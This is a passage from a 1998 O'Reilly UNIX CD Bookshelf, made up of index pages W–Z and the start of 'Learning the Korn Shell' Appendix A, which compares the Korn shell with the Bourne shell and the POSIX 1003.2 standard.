-p option : Learning the Korn Shell, 4.4. Command Substitution
-v option
Learning the Korn Shell, 4.1.1. Functions
Learning the Korn Shell, 9.2.5. Exercises
Learning the Korn Shell, 10.3.3. Tracked Aliases
where command (dbx) : UNIX in a Nutshell, Chapter 20, Reference: where
whereis command
UNIX Power Tools, 16.10. findcmd: Find a Command in Your Search Path
UNIX Power Tools, 50.5. whereis: Finding Where a Command Is Located
UNIX in a Nutshell, Chapter 20, Reference: whereis
examples
UNIX Power Tools, 44.21. Picking a Name for a New Command
UNIX Power Tools, 50.5. whereis: Finding Where a Command Is Located
whereiz script
UNIX Power Tools, 4.10. Find All Command Versions with whereiz
UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
which command
UNIX Power Tools, 16.10. findcmd: Find a Command in Your Search Path
UNIX Power Tools, 50.8. Which Version Am I Using?
UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
UNIX in a Nutshell, Chapter 2, Reference: which
UNIX in a Nutshell, Chapter 20, Reference: which
-a option : UNIX Power Tools, 4.10. Find All Command Versions with whereiz
alternatives to : UNIX Power Tools, 50.8. Which Version Am I Using?
examples
UNIX Power Tools, 44.21. Picking a Name for a New Command
UNIX Power Tools, 50.8. Which Version Am I Using?
setting the prompt variable : UNIX Power Tools, 2.10. Gotchas in set prompt Test
while loops
Learning the Korn Shell, 5.2. for
Learning the Korn Shell, 5.4. select
Learning the Korn Shell, 5.5. while and until
Learning the Korn Shell, 6.2.2. Arithmetic Variables and Assignment
Learning the Korn Shell, 6.3.3. String Formatting Options
Learning the Korn Shell, 7.2.2.1. Reading lines from files
Learning the Korn Shell, 7.2.2.3. Code blocks
Learning the Korn Shell, 7.2.2.4. Reading User Input
Learning the Korn Shell, 7.2.2.5. Options to read
Learning the Korn Shell, 7.3.1. Quoting
UNIX Power Tools, 33.11.7. Alphabetical Summary of Commands
UNIX Power Tools, 44.10.2. Looping Until a Command Fails
UNIX Power Tools, 44.15.2. With a Loop
sed & awk, 8.2.1. While Loop
UNIX in a Nutshell, Chapter 4, Reference: while
UNIX in a Nutshell, Chapter 5, Reference: while
UNIX in a Nutshell, Chapter 11, Reference: while
in C shell : UNIX Power Tools, 47.4.2. Expressions
case statement with
UNIX Power Tools, 44.17. Handling Arguments with while and shift
UNIX Power Tools, 45.22. Handling Files Line-by-Line
examples
UNIX Power Tools, 44.10.2. Looping Until a Command Fails
UNIX Power Tools, 44.17. Handling Arguments with while and shift
UNIX Power Tools, 45.32. A Better read Command: grabchars
for loops vs. : UNIX Power Tools, 45.16. Standard Input to a for Loop
handling command-line arguments : UNIX Power Tools, 44.17. Handling Arguments with while and shift
jot command in : UNIX Power Tools, 45.11. The Multipurpose jot Command
multiple commands : UNIX Power Tools, 45.19. A while Loop with Several Loop Control Commands
read command used in
UNIX Power Tools, 45.16. Standard Input to a for Loop
UNIX Power Tools, 45.22. Handling Files Line-by-Line
redirected
Learning the Korn Shell, 7.2.2.2. I/O Redirection and multiple commands
UNIX Power Tools, 45.22. Handling Files Line-by-Line
shift command used with : UNIX Power Tools, 44.17. Handling Arguments with while and shift
test command used with : UNIX Power Tools, 44.17. Handling Arguments with while and shift
until loops vs.
Learning the Korn Shell, 5.5. while and until
UNIX Power Tools, 44.10.2. Looping Until a Command Fails
whitespace
UNIX Power Tools, 1.2. Who Listens to What You Type?
sed & awk, 2.3.1. Specifying Simple Instructions
sed & awk, 5.1. About the Syntax of sed Commands
adding or deleting
UNIX Power Tools, 25.9. Adding and Deleting White Space
UNIX Power Tools, 25.13. pushin: Squeeze Out Extra White Space
as awk delimiters
sed & awk, 2.4.1. Running awk
sed & awk, 7.5.2. Field Splitting: The Full Story
cat command and : UNIX Power Tools, 25.6. What's in That White Space?
double-spacing : UNIX Power Tools, 25.12. Double Space, Triple Space ...
in filenames
UNIX Power Tools, 8.16. Quoting Handles Special Characters in Filenames
UNIX Power Tools, 16.13. Can't Access a File? Look for Spaces in the Name
newline characters
UNIX Power Tools, 1.29. When Is a File Not a File?
UNIX Power Tools, 4.9. Setting Up vi with the .exrc File
UNIX Power Tools, 8.6.1. Portability
UNIX Power Tools, 25.10. Squash Extra Blank Lines
UNIX Power Tools, 25.13. pushin: Squeeze Out Extra White Space
UNIX Power Tools, 41.2.1. How We Made It This Far (Back?)
sed & awk, 3.2. A Line-Up of Characters
sed & awk, 3.2.7. Positional Metacharacters
sed & awk, 5.3. Substitution
sed & awk, 11.2.3.3. Line continuation
(see also whitespace)
. (dot) and : sed & awk, 3.2.2. A Wildcard
allowing delays after : UNIX Power Tools, 41.2.1. How We Made It This Far (Back?)
multiline pattern space and : sed & awk, 6.1. Multiline Pattern Space
ORS variable for
sed & awk, 7.7. System Variables
sed & awk, 7.7.1. Working with Multiline Records
in output : UNIX Power Tools, 8.6.1. Portability
problems with xargs : UNIX Power Tools, 9.22. xargs: Problems with Spaces and Newlines
in replacement strings : sed & awk, 5.3.1. Replacement Metacharacters
RS variable for
sed & awk, 7.7. System Variables
sed & awk, 11.2.1.6. Regular expression record separators (gawk and mawk)
sed & awk, 11.3.2.1. Tawk language extensions
nroff/troff requests for
UNIX in a Nutshell, 12.5.13. Tabs
UNIX in a Nutshell, 12.5.15. Vertical Spacing
problems with xargs : UNIX Power Tools, 9.22. xargs: Problems with Spaces and Newlines
space as string concatenator : sed & awk, 7.6. Expressions
TAB characters
UNIX Power Tools, 8.18. Here Documents
UNIX Power Tools, 24.6. Save Space with Tab Characters
wc command and : UNIX Power Tools, 29.6. Counting Lines, Words, and Characters: wc
who command
Learning the Korn Shell, 4.4. Command Substitution
Learning the UNIX Operating System, 1.1.6.2. who
Learning the UNIX Operating System, 5.1.1.1. The > operator
UNIX Power Tools, 9.16. Command Substitution
UNIX Power Tools, 51.4. Who's On?
UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
UNIX in a Nutshell, Chapter 2, Reference: who
examples : UNIX Power Tools, 44.2. Writing a Simple Shell Program
on PowerTools disk : UNIX Power Tools, 51.4. Who's On?
"who are you?" error message : UNIX Power Tools, 50.12. Common UNIX Error Messages
whoami command
Learning the Korn Shell, 7.1. I/O Redirectors
Learning the UNIX Operating System, 1.1.6.2. who
UNIX Power Tools, 2.12. Automatic Setups for Different Terminals
UNIX in a Nutshell, Chapter 2, Reference: whoami
(see also logname command)
errors caused by : UNIX Power Tools, 50.12. Common UNIX Error Messages
whois command : UNIX in a Nutshell, Chapter 2, Reference: whois
width, output field : sed & awk, 7.9. Formatted Printing
wildcards : (see metacharacters/wildcards)
window managers/systems
Learning the UNIX Operating System, 2.1. Introduction to Windowing
Learning the UNIX Operating System, 2.3.1. Setting Focus
Learning the UNIX Operating System, 2.2.3. C. Starting the Window Manager
Learning the UNIX Operating System, 2.5. Working with Windows
unlocking : UNIX Power Tools, 42.2. Fixing a Hung Terminal or Job
windows
asynchronous, managing : UNIX in a Nutshell, Chapter 2, Reference: layers
checking height and width : UNIX Power Tools, 42.6.2. Screen Width and Height: screensize
emacs commands for : UNIX in a Nutshell, 7.2.10. Window Commands
focus : Learning the UNIX Operating System, 2.3.1. Setting Focus
iconifying/maximizing : Learning the UNIX Operating System, 2.5.1. Using the Titlebar
managing : Learning the UNIX Operating System, 2.5. Working with Windows
menus for (mwm) : Learning the UNIX Operating System, 2.5.4. The Window Menu
root (X Window System) : Learning the UNIX Operating System, 2.3.3. The Root Menu
running software written for ASCII terminals : UNIX Power Tools, 41.8. ptys and Window Systems
size
Learning the vi Editor, 7.1.1. The :set Command
UNIX Power Tools, 42.5. Checklist: Screen Size Messed Up?
UNIX in a Nutshell, Chapter 2, Reference: jwin
UNIX in a Nutshell, Chapter 2, Reference: stty
UNIX in a Nutshell, Chapter 2, Reference: vi
testing
UNIX Power Tools, 42.6.1. Single Line Screen Width: 80cols
UNIX Power Tools, 42.6.3. Set Width, Test Line Wrapping: longlines
UNIX in a Nutshell, Chapter 2, Reference: ismpx
titlebar : Learning the UNIX Operating System, 2.5. Working with Windows
X : (see X Window System)
xterm : (see xterm windows)
wksh shell
Learning the Korn Shell, A. Related Shells
Learning the Korn Shell, A.3. wksh
word abbreviation
Learning the vi Editor, 7.3.1. Word Abbreviation
UNIX in a Nutshell, 7.2.8. Word Abbreviation Commands
word lists
UNIX in a Nutshell, Chapter 2, Reference: spell
(see also dictionary files)
arrays compared to : UNIX Power Tools, 47.5. Using C Shell Arrays
in C shells : UNIX Power Tools, 47.5. Using C Shell Arrays
variables set to : UNIX Power Tools, 46.7. Quoting and Command-Line Parameters
word substitution (csh) : UNIX in a Nutshell, 5.5.3. Word Substitution
word vectors : UNIX Power Tools, 8.12. Which One Will the C Shell Use?
word-erase character : UNIX Power Tools, 9.2. Fix a Line Faster with Line-Kill and Word-Erase
wordfreq script
UNIX Power Tools, 29.7. Count How Many Times Each Word Is Used
UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
words : Learning the Korn Shell, 1.1. What Is a Shell?
counting
UNIX Power Tools, 29.6. Counting Lines, Words, and Characters: wc
UNIX Power Tools, 29.7. Count How Many Times Each Word Is Used
UNIX in a Nutshell, Chapter 2, Reference: wc
doubled : UNIX Power Tools, 29.8. Find a a Doubled Word
extracting : UNIX Power Tools, 29.10. Just the Words, Please
lists of : (see word lists)
order of separation in command-line processing : Learning the Korn Shell, 7.3. Command-line Processing
searching multiple files for : UNIX Power Tools, 17.21. lookfor: Which File Has that Word?
spell checking : (see spell checking)
working directory
Learning the UNIX Operating System, 3.1.2. Your Working Directory
Learning the UNIX Operating System, 3.1.6. Changing Your Working Directory
World Wide Web, described : UNIX Power Tools, 1.33. UNIX Networking and Communications
wq command (ex) : UNIX in a Nutshell, Chapter 9, Reference: wq
wraparound : UNIX Power Tools, 41.11. How termcap and terminfo Describe Terminals
write( ) : UNIX Power Tools, 20.6. Writing a Tape Drive on a Remote Machine
write command (ex)
UNIX Power Tools, 33.4. Useful ex Commands
UNIX in a Nutshell, Chapter 2, Reference: write
UNIX in a Nutshell, Chapter 9, Reference: write
(see w command (sed))
write utility : UNIX Power Tools, 1.33. UNIX Networking and Communications
writing
UNIX Power Tools, 13.12. Writing to Multiple Terminals for Demonstrations
(see also output)
awk scripts for
sed & awk, 1.4. Four Hurdles to Mastering sed and awk
sed & awk, 7. Writing Scripts for awk
from files : sed & awk, 5.11. Reading and Writing Files
to files
sed & awk, 2.3.2.1. Saving output
sed & awk, 5.11. Reading and Writing Files
sed & awk, 10.5. Directing Output to Files and Pipes
permissions
Learning the UNIX Operating System, 3.1.8.1. ls
UNIX Power Tools, 22.2. Tutorial on File and Directory Permissions
absence of : (see read-only files)
modifying without : UNIX Power Tools, 22.11. A Loophole: Modifying Files Without Write Access
sticky bit and : UNIX Power Tools, 22.6. Protecting Files with the Sticky Bit
regular expressions : sed & awk, 3.2.3. Writing Regular Expressions
sed scripts for
sed & awk, 1.4. Four Hurdles to Mastering sed and awk
sed & awk, 4. Writing sed Scripts
user-defined functions : sed & awk, 9.3. Writing Your Own Functions
writing to standard output : UNIX in a Nutshell, Chapter 2, Reference: echo
ww function : UNIX Power Tools, 29.8. Find a a Doubled Word
WYSIWYG programs : UNIX Power Tools, 43.12.4. WYSIWYG Document Processors

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1998 O'Reilly & Associates, Inc. All Rights Reserved.

The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: X

x command (sed)
sed & awk, 6.3. Hold That Line
sed & awk, 6.3.2. Correcting Index Entries (Part II)
sed & awk, 6.3.3. Building Blocks of Text
UNIX in a Nutshell, Chapter 10, Reference: x
X Consortium : UNIX Power Tools, 1.31. The X Window System
X Window System
Learning the Korn Shell, 2.2. The History File
Learning the Korn Shell, 3.1. The .profile File
Learning the Korn Shell, 3.4.2.4. Terminal Types
Learning the Korn Shell, 7.1. I/O Redirectors
Learning the Korn Shell, 8.3.3.1. System V
Learning the Korn Shell, 8.5.4. Coroutines with Two-way Pipes
Learning the Korn Shell, A. Related Shells
Learning the Korn Shell, A.3. wksh
Learning the UNIX Operating System, 2.1. Introduction to Windowing
UNIX Power Tools, 1.31. The X Window System
UNIX Power Tools, 2.12. Automatic Setups for Different Terminals
clients of : Learning the UNIX Operating System, 2.6. Other X Clients
getting input focus : Learning the UNIX Operating System, 2.3.1. Setting Focus
quitting : Learning the UNIX Operating System, 2.7. Quitting
references for further reading : Learning the UNIX Operating System, A.4. The X Window System
root menu : Learning the UNIX Operating System, 2.3.3. The Root Menu
starting : Learning the UNIX Operating System, 2.2. Starting X
xdm display manager : Learning the UNIX Operating System, 2.2.1. A. Ready to Run X (with xdm)
xargs command
UNIX Power Tools, 9.20. Too Many Files for the Command Line
UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
UNIX in a Nutshell, Chapter 2, Reference: xargs
-0 option : UNIX Power Tools, 9.22. xargs: Problems with Spaces and Newlines
find command and : UNIX Power Tools, 17.2. Delving Through a Deep Directory Tree
with grep command : UNIX Power Tools, 17.20. grepping a Directory Tree (and a Gotcha)
xcalc program
Learning the Korn Shell, 8.5.4. Coroutines with Two-way Pipes
Learning the UNIX Operating System, 2.3.2. The xterm Window
xdm display manager : Learning the UNIX Operating System, 2.2.1. A. Ready to Run X (with xdm)
Xenix
Learning the Korn Shell, 1. Korn Shell Basics
Learning the Korn Shell, 1.9.5. Control Keys
Xenix UNIX man page categories : UNIX Power Tools, 50.1. UNIX Online Documentation
xenl (terminfo) capability : UNIX Power Tools, 41.11. How termcap and terminfo Describe Terminals
xgrep script
UNIX Power Tools, 26.6. Just What Does a Regular Expression Match?
UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
xinit command : Learning the UNIX Operating System, 2.2.2. B. Starting X from a Standard UNIX Session
xit command (ex) : UNIX in a Nutshell, Chapter 9, Reference: xit
xn (termcap) capability : UNIX Power Tools, 41.11. How termcap and terminfo Describe Terminals
XON/XOFF flow control
UNIX Power Tools, 32.12. Getting Around Emacs Flow Control Problems
UNIX Power Tools, 41.2.4. Flow Control (We Hope)
xtail script
UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
UNIX Power Tools, 25.18. Watching Several Files Grow
xterms
Learning the Korn Shell, 2.2. The History File
Learning the Korn Shell, 3.4.2.4. Terminal Types
Learning the Korn Shell, 7.1. I/O Redirectors
Learning the Korn Shell, 8.3.3.1. System V
Learning the UNIX Operating System, 2.3.2. The xterm Window
UNIX Power Tools, 1.31. The X Window System
mouse and : Learning the UNIX Operating System, 2.4.3. Using a Mouse with xterm Windows
starting : UNIX Power Tools, 38.3. Managing Processes: Overall Concepts
xtrace mode : (see options, xtrace)

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1998 O'Reilly & Associates, Inc. All Rights Reserved.

The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: Y

y command (sed)
UNIX in a Nutshell, Chapter 10, Reference: y
sed & awk, 5.7. Transform
\y escape sequence : sed & awk, 11.2.3.4. Extended regular expressions
y.tab.c : Learning the Korn Shell, 4.3.3. Pattern-matching Operators
yacc command : UNIX in a Nutshell, Chapter 2, Reference: yacc
yank
buffers for
UNIX Power Tools, 30.5. Edits Between Files
UNIX Power Tools, 30.7. Using Buffers to Move or Copy Text
UNIX Power Tools, 30.8. Get Back What You Deleted with Numbered Buffers
ex command : UNIX in a Nutshell, Chapter 9, Reference: yank
to named buffers
Learning the vi Editor, 4.3. Making Use of Buffers
Learning the vi Editor, 4.3.2. Yanking to Named Buffers
sed commands for : UNIX in a Nutshell, 10.4.4. Yanking and Putting
text between files : Learning the vi Editor, 5.5.3. Edits Between Files
vi command
Learning the vi Editor, 1. The vi Text Editor
Learning the vi Editor, 2.3.7. Copying Text
Learning the vi Editor, 2.6. Review of Basic vi Commands
Learning the vi Editor, 4.1. More Command Combinations
yes command
UNIX Power Tools, 23.4. Answer "Yes" or "No" Forever with yes
UNIX Power Tools, 51.11. Making an Arbitrary-Size File for Testing
UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
"you don't exist. Go away." error message : UNIX Power Tools, 50.12. Common UNIX Error Messages
yppasswd command : Learning the UNIX Operating System, 3.5. Changing Your Password

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1998 O'Reilly & Associates, Inc. All Rights Reserved.

The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: Z

z command (ex) : UNIX in a Nutshell, Chapter 9, Reference: z
.z filename extensions : UNIX Power Tools, 1.17. Filename Extensions
zap script
UNIX Power Tools, 38.13. Interactively Kill Processes Matching a Pattern
UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
zcat command : UNIX in a Nutshell, Chapter 2, Reference: zcat
zed script
UNIX Power Tools, 24.11. Edit Compressed Files with zvi, zex, and zed
UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
zeros in /dev/zero file : UNIX Power Tools, 13.14. What Can You Do with an Empty File?
zex script
UNIX Power Tools, 24.11. Edit Compressed Files with zvi, zex, and zed
UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
zless script : UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
zloop script
UNIX Power Tools, 24.10. zloop: Run a Command on Compressed Files
UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
zmore script
UNIX Power Tools, 25.5. Page Through Compressed, RCS, Unprintable Files
UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
zombies
UNIX Power Tools, 38.10. Destroying Processes with kill
UNIX Power Tools, 38.16. Why You Can't Kill a Zombie
(see processes, in pathological states)
looking for children of : UNIX Power Tools, 38.16. Why You Can't Kill a Zombie
zpg script : UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
examples
UNIX Power Tools, 44.12. Trapping Exits Caused by Interrupts
UNIX Power Tools, 44.15.1. With the $@"
for loops in : UNIX Power Tools, 44.16. Handling Command-Line Arguments with a for Loop
parameters for : UNIX Power Tools, 44.15.1. With the $@"
zvi script
UNIX Power Tools, 24.11. Edit Compressed Files with zvi, zex, and zed
UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1998 O'Reilly & Associates, Inc. All Rights Reserved.

The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Appendix A] Related Shells

Learning the Korn Shell

Learning the Korn ShellSearch this book
Previous: 10.3 System Security Features Appendix A Next: A.2 The IEEE 1003.2 POSIX Shell Standard

A. Related Shells

Contents:
The Bourne Shell
The IEEE 1003.2 POSIX Shell Standard
wksh
pdksh
bash
Workalikes on PC Platforms
The Future of the Korn Shell

The fragmentation of the UNIX marketplace has had its advantages and disadvantages. The advantages came mostly in the early days: lack of standardization and proliferation among technically savvy academics and professionals contributed to a healthy "free market" for UNIX software, in which several programs of the same type (e.g., shells, text editors, system administration tools) would often compete for popularity. The best programs would usually become the most widespread, while inferior software tended to fade away.

But often there was no single "best" program in a given category, so several would prevail. This led to the current situation, where multiplicity of similar software has led to confusion, lack of compatibility, and-most unfortunate of all-UNIX' inability to capture as big a share of the market as other operating platforms (MS-DOS, Microsoft Windows, Novell NetWare, etc.).

The "shell" category has probably suffered in this way more than any other type of software. As we said in the Preface and Chapter 1, Korn Shell Basics, of this book, several shells are currently available; the differences between them are often not all that great. We believe that the Korn shell is the best of the most widely used shells, but other shells certainly have their staunch adherents, so they aren't likely to fade into obscurity for a while.

Therefore we felt it necessary to include information on shells similar to the 1988 UNIX Korn shell. This Appendix summarizes the differences between the latter and the following:

  • The standard Version 7 Bourne shell, as a kind of "baseline"

  • The IEEE POSIX 1003.2 shell Standard, to which the Korn shell and other shells will adhere in the future

  • The Windowing Korn shell (wksh), a Korn shell with enhancements for X Window System programming

  • pdksh, a widely-used public domain Korn shell

  • The bash shell, which is another enhanced Bourne shell with some C shell and Korn shell features

  • Korn shell workalikes on desktop PC platforms, including the MKS Toolkit shell

We'll conclude this appendix with a look at the Korn shell's future: the next release's expected features, obsolescent features of the current shell, and other issues.

A.1 The Bourne Shell

The Korn shell is almost completely backward-compatible with the Bourne shell. The only significant feature of the latter that the Korn shell doesn't support is ^ (caret) as a synonym for the pipe (|) character. [1] This is an archaic feature that the Bourne shell includes for its own backward compatibility with earlier shells. No modern UNIX version has any shell code that uses ^ as a pipe.

[1] There are also a few differences in how the two shells react to certain extremely pathological input. Usually, the Korn shell processes correctly what causes the Bourne shell to "choke."

To describe the differences between the Bourne shell and the Korn shell, we'll go through each chapter of this book and enumerate the features discussed in the chapter that the Bourne shell does not support. Although some versions of the Bourne shell exist that include a few Korn shell features, [2] we refer to the standard, Version 7 Bourne shell that has been around for many years.

[2] For example, the Bourne shell distributed with System V supports functions and a few other Korn shell features.

Chapter 1

The cd old new and cd - forms of the cd command; tilde (~) expansion; the jobs command.

Chapter 2, Command-line Editing

All. (I.e., the Bourne shell doesn't support any of the history and editing features discussed in Chapter 2.)

Chapter 3, Customizing Your Environment

Aliases; set -o options. The Bourne shell supports the "abbreviations" listed in the "Options" table in Appendix B, Reference Lists-except -A, -h, -m, -p, and -s. Environment files aren't supported; neither is the print command (use echo instead). The following built-in variables aren't supported:
EDITOR | OPTIND
ERRNO | PPID
ENV | PS3
FCEDIT | PS4
FPATH | PWD
HISTFILE | RANDOM
HISTSIZE | REPLY
LINENO | SECONDS
LINES | TMOUT
OLDPWD | VISUAL
OPTARG
Some of these variables (e.g., EDITOR and VISUAL) are still used by other programs, like mail and news readers.

Chapter 4, Basic Shell Programming

Functions; the whence command; pattern-matching variable operators (%, %%, #, ##); advanced (regular expression) wildcards-use the external command expr instead. Command substitution syntax is different: use the older `command` instead of $(command).

Chapter 5, Flow Control

Conditional tests use older syntax: [condition] or test condition instead of [[condition]]. These are actually two forms of the same external command (see the test(1) manual page). The logical operators && and || are -a and -o instead. Supported test operators differ from system to system. The select construct isn't supported.

Chapter 6, Command-line Options and Typed Variables

Use the external command getopt instead of getopts, but note that it doesn't really do the same thing. Integer arithmetic isn't supported: use the external command expr instead of the $((arithmetic-exp)) syntax. For integer conditionals, use the old condition test syntax and relational operators -lt, -eq, etc., instead of ((arithmetic-expr)). let isn't supported. Array variables and the typeset command are not supported.

Chapter 7, Input/Output and Command-line Processing

The following I/O redirectors are not supported:

>|
<>
<&p
>&p
|&

print isn't supported (use echo instead). None of the options to read are supported.

Chapter 8, Process Handling

Job control-specifically, the jobs, fg, and bg commands. Job number notation with %, i.e., the kill and wait commands only accept process IDs. The - option to trap (reset trap to the default for that signal). trap only accepts signal numbers, not logical names. Coroutines aren't supported.

Chapter 9, Debugging Shell Programs

The ERR and DEBUG fake signals. The EXIT fake signal is supported, as signal 0.

Chapter 10, Korn Shell Administration

The ulimit command and privileged mode aren't supported. The Bourne shell's restrictive counterpart, rsh, only inhibits assignment to PATH.

Previous: 10.3 System Security Features | Learning the Korn Shell | Next: A.2 The IEEE 1003.2 POSIX Shell Standard
10.3 System Security Features | Book Index | A.2 The IEEE 1003.2 POSIX Shell Standard
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Appendix A] A.2 The IEEE 1003.2 POSIX Shell Standard

Learning the Korn Shell

Learning the Korn ShellSearch this book
Previous: A.1 The Bourne Shell Appendix A
Related Shells 		Next: A.3 wksh

A.2 The IEEE 1003.2 POSIX Shell Standard

There have been many attempts to standardize UNIX. Hardware companies' monolithic attempts at market domination, fragile industry coalitions, marketing failures, and other such efforts are the stuff of history-and the stuff of frustration.

Only one standardization effort has not been tied to commercial interests: the Portable Operating System Interface, known as POSIX. This effort started in 1981 with the /usr/group (now UniForum) Standards Committee, which produced the /usr/group Standard three years later. The list of contributors grew to include the Institute of Electrical and Electronic Engineers (IEEE) and the International Organization for Standardization (ISO).

The first POSIX standard was published in 1988. This one, called IEEE P1003.1, covers low-level issues at the system call level. IEEE P1003.2, covering the shell, utility programs, and user interface issues, was ratified in September 1992 after a six-year effort.

The POSIX standards were never meant to be rigid and absolute. The committee members certainly weren't about to put guns to the heads of operating system implementors and force them to adhere. Instead, the standards are designed to be flexible enough to allow for both coexistence of similar available software, so that existing code isn't in danger of obsolescence, and the addition of new features, so that vendors have the incentive to innovate. In other words, they are supposed to be the kind of third-party standards that vendors might actually be interested in following.

As a result, most UNIX vendors currently comply with POSIX 1003.1. Now that POSIX 1003.2 is available, the most important shells will undoubtedly adhere to it in the future. The Korn shell is no exception; it's expected to be 100% POSIX compliant in its next release, which should be within the next two years. Therefore you should pay attention to the differences between the current Korn shell and 1003.2 if you write shell code that you would like to be portable in the not-too-distant future.

POSIX 1003.2 itself consists of two parts. The first, 1003.2, addresses shell script portability; it defines the shell and the standard utilities. The second, 1003.2a, called the User Portability Extensions (UPE), defines standards of interactive shell use and interactive utilities like the vi editor. The combined document-on the order of 2000 pages-is available through the IEEE; for information, call (800) 678-IEEE.

The committee members had two motivating factors to weigh when they designed the 1003.2 shell standard. On the one hand, the design had to accomodate, as much as possible, existing shell code written under various Bourne-derived shells (the Version 7, System V, BSD, and Korn shells). These shells are different in several extremely subtle ways, most of which have to do with the ways certain syntactic elements interact with each other.

It must have been quite difficult and tedious to spell out these differences, let alone to reach compromises among them. Throw in biases of some committee members towards particular shells, and you might understand why it took six years to ratify 1003.2.

On the other hand, the shell design had to serve as a standard on which to base future shell implementations. This implied goals of simplicity, clarity, and precision-objectives that seem especially elusive in the context of the above problems.

The designers found one way of ameliorating this dilemma: they decided that the standard should include not only the features included in the shell, but also those explicitly omitted and those included but with unspecified functionality. The latter category allows some of the existing shells' innovations to "sneak through" without becoming part of the standard, while listing omitted features helps programmers determine which features in existing shell scripts won't be portable to future shells.

The POSIX standard is primarily based on the System V Bourne shell, which is a superset of the Version 7 shell discussed earlier in this Appendix. Therefore you should assume that Korn shell features that aren't present in the Bourne shell also aren't included in the POSIX standard.

However, the Korn shell did contribute a few of its features to the POSIX standard, including:

  • $((...)) syntax for arithmetic expressions.

  • $(...) syntax for command substitution, except that the $(<filename) shorthand for $(cat filename) isn't supported.

  • Tilde expansion (originally derived from the C shell).

The following Korn shell features are left "unspecified" in the standard, meaning that their syntax is acceptable but their functionality is not standardized:

  • The ((...)) syntax for arithmetic conditionals. The arithmetic test operators introduced in Chapter 5, (e.g., -eq, -lt), however, are included.

  • The [[...]] syntax for conditional tests. The external test or [...] utility should be used instead.

  • The syntax for defining functions that this book uses. The other syntax shown in Chapter 4 (fname() instead of function fname) is supported; see below.

  • The select control structure.

  • Code blocks ({...}) are supported, but for maximum portability, the curly braces should be quoted (for reasons too complicated to go into here).

  • Signal numbers are only allowed if the numbers for certain key signals (INT, TERM, and a few others) are the same as on the most important historical versions of UNIX. In general, shell scripts should use symbolic names for signals.

The POSIX standard supports functions, as shown above, but the semantics are weaker: functions do not have local traps or options, it is not possible to define local variables, and functions can't be exported.

The POSIX standard also has a few new features:

  • The command lookup order has been changed to allow certain built-in commands to be overridden by functions-since aliases aren't included in the standard. (Recall that we had to use an alias as "decoy" for a function that superseded the cd command in Chapter 5.) Built-in commands are divided into two sets by their positions in the command lookup order: some are processed before functions, some after. Specifically, the built-in commands break, : (do nothing), continue, . (dot), eval, exec, exit, export, readonly, return, set, shift, trap, and unset take priority over functions.

  • A new built-in command, command, allows you to use built-in commands other than the above even if there are functions of the same name.

  • A new keyword, !, takes the logical "not" of a command's exit status: if command returns exit status 0, ! command returns 1; if command returns a non-0 value, ! command returns 0. ! can be used with &&, ||, and parentheses (for nested subshells) to create logical combinations of exit statuses in conditionals.

  • The command unset -v is used instead of unset (without an option) to remove the definition of a variable. This provides a better syntactic match with unset -f, for unsetting functions.

Finally, because the POSIX standard is meant to promote shell script portability, it explicitly avoids mention of features that only apply to interactive shell use-including aliases, editing modes, control keys, and so on. The UPE covers these. It also avoids mentioning certain key implementation issues: in particular, there is no requirement that multitasking be used for background jobs, subshells, etc. This was done to allow portability to non-multitasking systems like MS-DOS, so that, for example, the MKS Toolkit (see below) can be POSIX compliant.

Previous: A.1 The Bourne Shell | Learning the Korn Shell | Next: A.3 wksh
A.1 The Bourne Shell | Book Index | A.3 wksh
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Appendix A] A.3 wksh

Learning the Korn Shell

Learning the Korn ShellSearch this book
Previous: A.2 The IEEE 1003.2 POSIX Shell Standard Appendix A
Related Shells 		Next: A.4 pdksh

A.3 wksh

